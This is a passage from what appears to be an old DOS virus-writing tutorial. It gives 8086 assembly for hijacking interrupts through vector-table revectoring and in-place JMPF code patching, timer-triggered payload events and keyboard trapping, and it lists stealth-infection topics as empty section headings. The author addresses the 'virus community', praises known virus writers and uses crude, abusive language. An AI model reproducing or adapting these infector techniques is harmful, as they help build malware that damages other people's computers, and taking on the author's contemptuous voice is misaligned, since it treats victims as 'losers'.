                      movsw
                      movsw                           ; save it
                      sub si, 4
                      mov ax, offset ixx_handler
                      mov word ptr [si], ax
                      mov word ptr [si+2], cs
                      [and any other int revectors here]
                      push cs
                      pop ds

      Remember learning all about Intel's reverse ordering?  In the vector
      table, as in all other places, the most important bits go first -- in
      this case, the actual pointer, then the segment.

      You might think that MOV AX, XX then MOV [SI], AX could be converted to
      a smaller statement as MOV [SI], XX.  They end up being the same anyway.
      But if you were using another register besides AX, it would actually be
      bigger -- some operations are smaller when they use the AX register.
      Don't blame me, blame Intel.

      Revectoring using DOS calls is much more conspicuous to the int trapping
      debugger, but it's a small price to pay.  If they're losers they won't
      know how to stop it, then the damage is done and they have the virus.
      (The code is also much simpler).

                      mov ax, 35xxh           ; get int
                      int 21h
                      mov [save_int_xx], bx
                      mov [save_int_xx+2], es
                      mov dx, offset ixx_handler
                      mov ax, 25xxh           ; set int
                      int 21h
                      [and any other int revectors here]
                      push cs
                      pop es

      7.2     Modifying Code
      ---     --------------
      This is getting a bit more tricky.  The idea here is instead of
      revectoring the interrupt on the vector table, simply edit the code
      pointed to by the vector to jump to your own code.  Sounds simple?

      It is, but there are sometimes problems.  For instance, what if the code
      isn't for 5 contiguous bytes?  (you need 5:  1 for the JMPF, 4 for the
      address).  You would overwrite some other code, most likely code for the
      next interrupt it handles.  Not good.  Maybe you should check for things
      such as IRETs, RETFs, JMPs etc. in the first 5 bytes.  After 5, who
      gives a shit.

      Upon entry to your interrupt handler, you must restore the original 5
      bytes so we can call DOS.  This is where we must think a bit more
      carefully.  If we restore the original 5, we must somehow change them
      again to call our code.  Simple...

      Upon entry to our interrupt handler, we must restore the original 5.  If
      it's not a call we're interested in, go to a routine which consists of
      the following:
                      pushf
                      call dword ptr cs:[save_int_xx]
                      call fix_int            ; change code again to JMPF
                      retf 2

      What is RETF 2?  Well, most of you probably know that you can accompany
      a RET or a RETF with an optional operand -- the equivalent of the
      instruction and the ADD SP, xx.  eg. RETF 2 it the equivalent of
      RETF/ADD SP, 02.  This way we return to the caller with the flags which
      are current and not those that were current at the actual call.  (get my
      drift?)

      You don't?  OK then.  When an int is called, it's the same as doing the
      equivalent of...
                      pushf
                      push cs
                      push ip
                      jmp dword ptr 0:int*4

                      ...and the IRET is the equivalent of...
                      pop ip
                      pop cs
                      popf
                                                             ...so therefore
      the flags which were current when the INT call was made will be there
      when it returns.  Interrupt handlers set things like CF by getting the
      old flags and setting it, then "patching" them back onto the stack, with
      the code...
                      push bp
                      mov bp, sp
                      push [bp+6]
                      popf
                      stc
                      pushf
                      pop ax
                      mov [bp+6], ax
                      pop bp

      So back to where we were.  We're in our interrupt handler, we've just
      called the old vector.  Our updated flags are current, but if we IRET
      we'll lose them.  So, going back to the RETF 2 -- instead of restoring
      the old flags (as in the IRET instruction) we'll just be doing...

                      pop ip
                      pop cs
                      add sp, 02

      Got it?

      (I didn't intend on going on a stack lesson, but anyway...)

      Anyway, here's your layout:

      ixx_handler:    push xx
                      push [..etc]
                      push cs
                      pop ds
                      les di, [save_int_xx]   ; load up vector to ES:DI
                      mov si, offset old_5_xx
                      movsw
                      movsw
                      movsb                   ; restore 5 bytes

                      cmp ah, wanted calls
                      jne not_wanted

                      [...]

      not_wanted:     pop xx
                      pop [..etc]
                      pushf
                      call dword ptr cs:[save_int_xx]
      fix_int:        push es
                      push di
                      push ax
                      les di, cs:[save_int_xx]
                      mov al, 0eah            ; JMPF xxxx:yyyy
                      stosb
                      mov ax, offset ixx_handler
                      stosw
                      mov ax, cs
                      stosw
                      pop ax
                      pop di
                      pop es
                      retf 2

      Viruses which use this technique:
              None    (this will change in the near future)

      7.3     Modifying DOS
      ---     -------------
      Some smart-arse pricks know that they can modify certain bits within DOS
      itself so that their routines will be called.  They guy who wrote the Fish
      and Whale viruses knows.  The guys who wrote MG-1, 2, 3 and Creeping
      Death know.  Dark Avenger knows.

      In my opinion it's not always the most intelligent thing to do,
      considering DOS stuff is likely to keep changing.  But if you find the
      right bits and know what to look for, you have a virtually failsafe way.

      I can't tell you because I don't know!

      If you're super desperate and need to know, post something to the
      Matematicheska Gimnazia school (in Bulgaria) and ask for the guys who
      wrote Creeping Death to send you their commented source codes... (ever
      seen the Creeping Death source?  Shot out their fingers like a machine
      gun... the guys don't look too talkative with commenting like that).

      If not, grab the MG-1 virus or the Fish#6 virus and wade through that
      with a decent debugger.  Dark Avenger seems to know as well, and he just
      loves those multiplex interrupts which nobody seems to know about <sigh>.

      If anyone DOES know, could they please drop me a line in CelerityNet
      Private Netmail some time?  (no abuse please!)

      8.0     INTERRUPT HANDLERS
      ---     ------------------
      We're approaching the arse-end of the text file.  You're all high and
      dandy waiting to rip into your new TSR COM and EXE infector.  But shit,
      you have no idea of how to string the whole lot together, do you!?

      Here's a bunch of codes and bullshit as long as John Holmes' dick about
      them, how to write them and stuff.  I'm fucking tired.

      8.1     Timer interrupts
      ---     ----------------
      Earlier I crapped on about timing, waiting after 30 minutes, pausing for
      a few seconds after prank messages and stuff.  How the fuck do you do
      it?

      8.11    08 vs 1c
      ----    --------
      There's two timer interrupts.  The main heartbeat of the computer
      (interrupt 08, IRQ0) which can't be interrupted by any other interrupt
      (except NMI), and the other one (interrupt 1ch, no IRQ).  Interrupt 1ch
      is called FROM int 08.  So you would naturally go for int 8?

      This is not always such a good idea.  If the main timer gets too loaded
      down, it might interrupt itself and the computer will hang.  It's OK if
      you've just got a little timer hooked on, but if you have massive checks
      and double checks and checks for the number of NOPs in the average
      compiled basic program, then you've got no hope of tacking it on to
      interrupt 8.

      8.12    Keeping time
      ----    ------------
      Simple as tripping over a tab of LSD.  (ahhh comedian)...

                      inc byte ptr cs:[timer]
                      jmp dword ptr cs:[save_int_08]

      The timer ticks 18.2 times per second -- once every 55.xxx milliseconds.
      Therefore, for a pause of 1 second, you reset the timer byte and wait
      until it exceeds 18!  Wow!  Isn't that hard to understand?!

      So for a 30 minute delay, we wait until the counter exceeds...

                      18 times/second
                    * 60 seconds/minute
                    * 30 minutes
                    ----
                    some number I can't figure out in my head
                    ====

      8.13    Triggering events
      ----    -----------------
      You don't just sit there in an endless loop waiting for 30 minutes.
      Every time your interrupt routine is called, check to see if the counter
      has exceeded that number (18*60*30), and if so, go do the particular
      event and reset the timer.

      8.2     Keyboard interrupt
      ---     ------------------
      The keyboard interrupt (int 09) sits on IRQ1, the second highest IRQ
      (which means it can only be interrupted by IRQ0, the system timer).  An
      interrupt is generated on line 1 every time a key is pressed or
      released.

      Each key has its own scan code.

      8.21    Ctrl-Alt-Del detection
      ----    ----------------------
      The only one we're really interested in.

      AWWWWWWWWWWWWWWW NNNOOOOOOOOOOOOOOOOO!!!!!!!!

      8.3     DOS Interrupts
      8.31    File Open (handle)
      8.32    File Rename (handle)
      8.33    Attribute Change
      8.34    Execution
      8.35    Extended Open (handle) (DOS 5+)
      8.4     Quasi-Stealth operations
      8.41    Find First, Find Next (FCB)
      8.42    Find First, Find Next (handle)
      8.5     Stealth operations
      8.51    File Open
      8.52    Restoring original code
      8.53    Truncating the file
      8.54    File Close

      9.0     Epilogue
      ---     --------
      I hope this makes a huge contribution to the virus community as a whole.
      With that said I can now apologize for massive mood swings during the
      text file, but right now I'm fucked and I wanna go to bed.

      One last greet:

      Dark Avenger......... you bad boy!

      ----
      Chow.. and have fun with my source codes.